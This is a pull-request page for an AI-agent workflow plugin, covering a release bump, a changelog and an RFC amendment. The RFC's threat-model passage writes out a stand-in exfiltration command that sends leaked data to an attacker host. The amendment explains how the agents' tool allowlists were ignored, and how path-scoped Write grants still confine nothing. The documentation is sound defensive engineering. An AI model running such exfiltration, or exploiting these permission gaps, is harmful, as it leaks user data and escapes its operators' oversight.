Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
41 commits
Select commit Hold shift + click to select a range
c64c275
fix(skills): quote the ubersimplify-pipeline description so its front…
Aug 23, 2026
81a59c9
test(ci): byte-evidence reporter for the shard plan
Aug 23, 2026
e0bc1d9
fix(agents): move the eight testers-* allowlists to the honoured tool…
Aug 23, 2026
19deb32
docs(rfc): record that the tools: key restores tool names, not a path…
Aug 23, 2026
a5d0d50
test(agents): re-point C5 at the honoured tools: key and prove it can…
Aug 23, 2026
c0a1c93
test(routing): give sandbox_ceiling a failing read-site against agent…
Aug 23, 2026
1f2d4a0
test(ci): aggregate shard-coverage rows and the s8_harness splice ref…
Aug 23, 2026
386acb1
ci: dump the shard plan bytes in all three sharded jobs
Aug 23, 2026
f85f2b6
fix(ci): pin the shard packer to LF and refuse a CR-bearing pack
Aug 23, 2026
6d9b558
fix(ci): fail loudly when a shard runs fewer fixtures than its plan n…
Aug 23, 2026
e6142d6
test(ci): lock the byte-dump step's wiring and position in all three …
Aug 23, 2026
85b68ff
docs(testing): document the coverage guard and the shard-plan byte re…
Aug 23, 2026
e6d6f39
feat(premerge): compute the growth ratio and add STOP_SELF_REFERENTIAL
Aug 23, 2026
868aa64
docs(premerge): document the GROWTH ratio and STOP_SELF_REFERENTIAL
Aug 23, 2026
5720793
docs(premerge): operator surfaces for the growth ratio
Aug 23, 2026
a83deae
docs(rfc): RFC 0021 A5 — the growth ratio is computed and stops the loop
Aug 23, 2026
9a7bb51
feat(premerge): admit blocked_on_file paths into the next attempt's w…
Aug 23, 2026
1459799
docs(premerge): the blocked_on_file return contract and its artifact
Aug 23, 2026
02e7eea
docs(premerge): record the two blocked_on_file bypasses
Aug 23, 2026
9a4960e
fix(goal): pin LC_ALL=C on the PR file-collision detector's sort/comm…
Aug 23, 2026
598faae
fix(review-pr): pin LC_ALL=C on the staged-set scope guard's sort/com…
Aug 23, 2026
0d80710
fix(testers): restore the capabilities the tools: migration removed, …
Aug 23, 2026
133fad8
docs(ci): attribute each diagnose verb correctly and mark the CR mode…
Aug 23, 2026
0f94005
test(premerge): drive the growth detector and its stop, 12 mutants ze…
Aug 23, 2026
0be01d4
test(premerge): shape locks on the growth ratio across both surfaces
Aug 23, 2026
02180e8
test(premerge): drive blocked_on_file end to end, 21 mutations zero s…
Aug 23, 2026
f9b8b84
test(premerge): contract shape locks for blocked_on_file, both bypass…
Aug 23, 2026
cec26b9
test(skill-size): re-pin premerge-pipeline to the measured 2418
Aug 23, 2026
7638c54
test(skill-size): re-pin premerge-pipeline to the measured 2391
Aug 23, 2026
45392e0
Merge commit 'c64c2752048e70d7d89de4c733070e42025360ca' into chore/st…
Aug 24, 2026
71f35ec
Merge commit '0d807106693b9a97927a2187d653a9c9d2abdf54' into chore/st…
Aug 24, 2026
4f0e260
Merge commit '133fad8497fbaed83a16e32b17bd26cac4c932ca' into chore/st…
Aug 24, 2026
144f56f
Merge commit 'cec26b94aebedd6c71c091091b9467c091a7834d' into chore/st…
Aug 24, 2026
1565cae
Merge commit '7638c54ac414d445ed3db3548f2f283a661a781f' into chore/st…
Aug 24, 2026
b1d5ef1
fix(premerge): address code-review blockers on the stack (attempt 1)
Aug 24, 2026
038ab45
fix(ci): re-pin six stale uberdev_rev values to the commit that carri…
Aug 24, 2026
1b5e00c
fix(premerge): address code-review blockers on the stack (attempt 2)
Aug 24, 2026
fa024e7
fix(premerge): address code-review blockers on the stack (attempt 3)
Aug 24, 2026
2c6db44
chore(release): v0.56.0
Aug 24, 2026
b18b493
fix(release): restore the 13 historical CHANGELOG stubs the v0.56.0 n…
Aug 24, 2026
f3523cc
refactor(premerge): apply the Reuse/Quality/Efficiency lens pass to t…
Aug 24, 2026
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion .claude-plugin/marketplace.json
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@
"name": "uberdev",
"source": "./plugins/uberdev",
"description": "GitHub workflow commands + full Superpowers skill suite (brainstorm with visual companion, write-plan, execute-plan, subagent-driven-dev wave-based parallel execution, finish-branch, systematic-debugging, TDD, worktrees, parallel-agents, verification, code-review pair, writing-skills, using-uberdev primer) and PR review agents. /solve and /turbo dispatch autonomous agents via a platform-aware dispatch backend (Workflow-native solver fleets by default, with detached wezterm / background transports opt-in — cross-platform on macOS, Linux, WSL2, native Windows); /issue creates well-investigated, deduped issues.",
"version": "0.55.1",
"version": "0.56.0",
"category": "workflow",
"tags": [
"github",
Expand Down
551 changes: 550 additions & 1 deletion .github/workflows/test.yml

Large diffs are not rendered by default.

63 changes: 63 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,69 @@ All notable changes to UberDev are documented here.

The format is based on [Keep a Changelog 1.1.0](https://keepachangelog.com/en/1.1.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

## [0.56.0] — 2026-08-24

Packs #762, #763, #764, #765 and #766 as one stack, plus three rounds of
`/premerge` repair on the combined result and one pre-existing `main` red.
MINOR: #765 and #766 add behaviour (`STOP_SELF_REFERENTIAL`, the
`blocked_on_file` widening); the rest is fixes. Closes #755, #754, #753, #749
and the frontmatter break behind #762.

### Added — the growth ratio, and a third evidence-first stop (#765)

`/premerge`'s loop could clear every blocker a review raised and still be
handed a fresh set next round, because a critic asked "what is wrong with
this?" samples from an unbounded set. `converge` now measures what fraction of
an attempt's blockers landed in files the *previous* repair modified, prints it
as `GROWTH=`, and stops as `STOP_SELF_REFERENTIAL` when two consecutive
eligible rounds sit at or above `CONVERGE_GROWTH_CEILING` — the loop reviewing
its own output rather than the artifact.

A round only counts toward the streak if it did **not** reduce the
reviewer-raised blocker count; without that term the ratio rises toward 1.00
precisely as a run converges, and a healthy 5→2→2 run stopped falsely with most
of its budget unspent.

### Added — `blocked_on_file`, so a cross-file consequence is not lost (#766)

Fixer waves are one agent per file. A fix whose honest scope spans two files
had no route: the agent could only refuse, and the finding survived to the next
round. Fixers now return `blocked_on_file`, and those paths enter the **next
attempt's wave plan** — never the allowed set directly, which would make a path
committable while no agent owned it.

Carried rows gate (so they reach a fixer) but are excluded from the
fingerprints and the growth denominator (so they cannot manufacture progress),
and any row still outstanding when the loop stops is filed rather than dropped.

### Fixed — guards that were silently vacuous

- The `tools:` frontmatter migration (#749) turned eight `testers-*` allowlists
into real ceilings, but `StructuredOutput` was on none of them while
`testers-pipeline` dispatches all eight with a schema. The structured return
channel was gated shut; every card now grants it.
- SHARD-COVERAGE (#753) compared `run_one` *invocations* against a
*de-duplicated* plan, so a job invoking one fixture twice failed a correct
shard. It now counts distinct fixtures, and names every planned-but-unrun
fixture split by cause instead of printing a bare count mismatch.
- The unpinned-`sort`/`comm` detector required whitespace after the command
name, so `sort)` and end-of-line invocations were invisible — the guard was
green on exactly the bypass it existed to catch.
- The `tools:` contract check recognised only flow-style YAML, so a
block-sequence declaration read as *no declaration at all*.
- All three `/premerge` scope guards compared C-quoted paths against raw UTF-8,
reporting correctly-edited non-ASCII files as strays; and
`review-consolidate.sh` had five masked producers where a failed `git` read
as an empty result — one of which silently re-admitted an excluded PR into
the combine.

### Fixed — vendor provenance

Six `measured_diff_basis.uberdev_rev` records pinned a SHA on an unmerged
branch, so `V46` failed on clean `main`. Re-pinned to the commit that actually
carries those bytes; the six blobs are byte-identical at both revs, so the
measurement re-derives unchanged.

## [0.55.1] — 2026-08-23

Packs #750 and #751 as one stack. Both are context-cost work on the eager
Expand Down
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@

**Personal Claude Code marketplace — opinionated GitHub-workflow slash commands.**

[![Version](https://img.shields.io/badge/version-0.55.1-blue)](./CHANGELOG.md)
[![Version](https://img.shields.io/badge/version-0.56.0-blue)](./CHANGELOG.md)
[![License](https://img.shields.io/badge/license-MIT-green)](./LICENSE)
[![Claude Code](https://img.shields.io/badge/Claude%20Code-plugin-8B5CF6)](https://docs.claude.com/en/docs/claude-code/plugins)
[![Repo Agnostic](https://img.shields.io/badge/repo--agnostic-yes-success)](#configuration)
Expand Down
8 changes: 7 additions & 1 deletion docs/rfc/0006-testers-command.md
Original file line number Diff line number Diff line change
Expand Up @@ -23,7 +23,7 @@ See spec for the full design. Key choices, locked from brainstorm:
- Unattended via dispatch backend (claude-bg/wezterm/background per RFC 0004); `--watch` flag runs inline
- 6 personas + 2 monitors = 8 agents per wave; 3 waves per run = 24 agent dispatches per run
- Wave-based monitor → persona communication (monitor reads previous wave, generates per-persona follow-ups)
- **Read-only audit** — no agent has `Edit` or general `Write` on app code; `allowed-tools` whitelisted per agent
- **Read-only audit** — every agent card declares a `tools:` whitelist (the key the agent loader honours) and none of the eight names `Edit`, so the loader withholds it. That is a tool-NAME ceiling and the whole of what a card can impose: the personas keep a `Write` no card confines to a directory, so "read-only on app code" is a contract the squad is held to rather than a restriction that stops it — see the #749 amendment under §Risks
- No early-stop; all personas run to budget (`max_actions: 200`, `max_clock_seconds: 300` per persona-wave)

## Alternatives considered
Expand All @@ -45,6 +45,12 @@ None. New command, no breaking changes. Add `/testers` alias to `aliases-sync.sh
- **Hallucinated bugs:** see spec section 8; defenses are evidence-anchor requirement + invariant_violated requirement + cross-persona confirmation.
- **Egress / prompt-injection exfil:** the 6 persona agents allow `Bash(curl*)` so they can replay requests, probe headers, and follow redirects against arbitrary audit targets (localhost, staging, user-supplied URLs). A hijacked prompt could in principle invoke `curl https://attacker.example/?leak=...`. Mitigations: (a) the audit target is supplied by the operator on a deliberate `/uberdev:testers` invocation — not auto-triggered; (b) `--rps-cap` (default 10) provides hard pre-emptive enforcement at the curl-wrapper layer (`lib/rate-limit-curl.sh`) and post-hoc audit + fail-the-run enforcement for browser-MCP traffic that cannot be HTTP-wrapped. `max_clock_seconds: 300` per persona-wave bounds the *temporal* exfil surface; together they bound exfil bandwidth to ≤ `RPS_CAP × 300 = 3000 requests per persona-wave` (default). Note: the audit fires *after* a breach has occurred — there is a single-wave detection latency for the browser-MCP surface, which is acceptable because the breach already constitutes a failed-run condition. Pre-emptive enforcement for MCP traffic would require a CDP-level interceptor and is out of scope. (c) the read-only contract (no `Edit`, scoped `Write(.uberdev/research/*)`) means an injected prompt cannot pivot to credential theft from the repo; (d) operators auditing third-party prompts should run the squad in a sandboxed shell with no `~/.aws`, `~/.ssh`, or `~/.config/gh` access on the user the agent runs as.

> **Amendment (2026-08-23, #749).** Mitigation (c) above was NOT in force between this RFC's implementation and #749. All eight `testers-*` agent cards declared their allowlist under `allowed-tools:`, which is the slash-command frontmatter key; an agent card is read for `tools:`, so the loader ignored the declaration and every persona ran with all tools — including `Edit` and unrestricted `Write` over the repository, the one grant this design says they must not hold. The guard did not see it either: `tests/testers-agent-contract.test.sh` C5 grepped the same ignored key and returned clean when it was absent. #749 moves all eight declarations onto `tools:`, re-points C5 at `tools:` and gives it a mutation row that proves it can fail, and adds a policy-to-frontmatter cross-check to `tests/model-routing.test.sh` so the `sandbox_ceiling` field is compared against the cards instead of only against itself. The write grant is corrected in the same change rather than carried across verbatim: the single-segment `Write(.uberdev/research/*)` named in (c) above does not admit the path the runtime actually hands a persona — `.uberdev/research/<RUN_ID>/testers/scratch/<persona>/out.yaml`, four segments deeper — so enforcing that pattern as written would have denied the one write these agents make, which is the squad's entire evidence channel. What lands is `Write(.uberdev/research/**)`, the pattern that does admit it — but that records which text the card carries, not what binds at runtime; the paragraph below draws that line, because only half of (c) comes back. The remaining agents whose `read-only` ceiling is still unprojected — the six Phase 1 review lenses among them — are named in the shrink-only waiver in that cross-check; any list written for them has to include `Write` rather than deny it, because they write a result file `/uberdev:review-pr` validates from disk — and, per the paragraph below, a scope inside its parentheses would narrow nothing anyway.
>
> **What the migration restores, and what it does not.** Moving the eight declarations onto the honoured key restores a *tool-name* restriction, and that is the whole of it: the loader now reads the list, so a persona's roster is the tools its card names and nothing more — `Edit` is not among them, where for the whole preceding window every persona held every tool. It does **not** restore the path scoping (c)'s parenthetical describes. A `tools:` entry filters tool *names*; the pattern inside its parentheses is not matched against a filesystem path, so `Write(.uberdev/research/**)` grants the `Write` tool and confines it to no directory. Nor can the missing half be supplied as a file-permission rule of that shape — the runtime rejects the spelling outright: *"`Write(...)` is not matched by file permission checks — only `Edit(path)` rules are. Use `Edit(...)` instead (`Edit` rules cover all file-editing tools)."* Under `--dangerously-skip-permissions`, the mode this repo actually runs, a persona carrying a `Write(.uberdev/research/*)` scope was observed during #749 writing outside that directory. (#749 established what a parenthetical means for `Write` only; it did not establish what a `Bash(...)` pattern narrows, so nothing here is a bound on what a persona can do *through* the tools it does still hold.)
>
> So (c) comes back in half. The half that lands is real and is what this amendment records: the window in which the allowlist was ignored entirely is closed. The other half was never in force, and no agent-card key can put it in force — the only shape file-permission checks match is `Edit(<pattern>)`, which is a permission rule rather than a card grant. Adopting one is out of scope for #749, and it is not a drop-in either: the shape the checker matches is named for the very tool the §Design read-only bullet says these agents must not hold, so reconciling the two is a decision this amendment defers rather than makes. Until it is made the residual gap stands — nothing in the cards stops a hijacked persona from writing anywhere in the repository — and mitigations (a), (b) and (d) are what remain load-bearing against it.

## Integration

- Reuses `lib/dispatch.sh` (RFC 0004), `findings-to-issues` agent, reviewer YAML contract, `.uberdev/research/$RUN_ID/` artifact convention.
Expand Down
Loading
Loading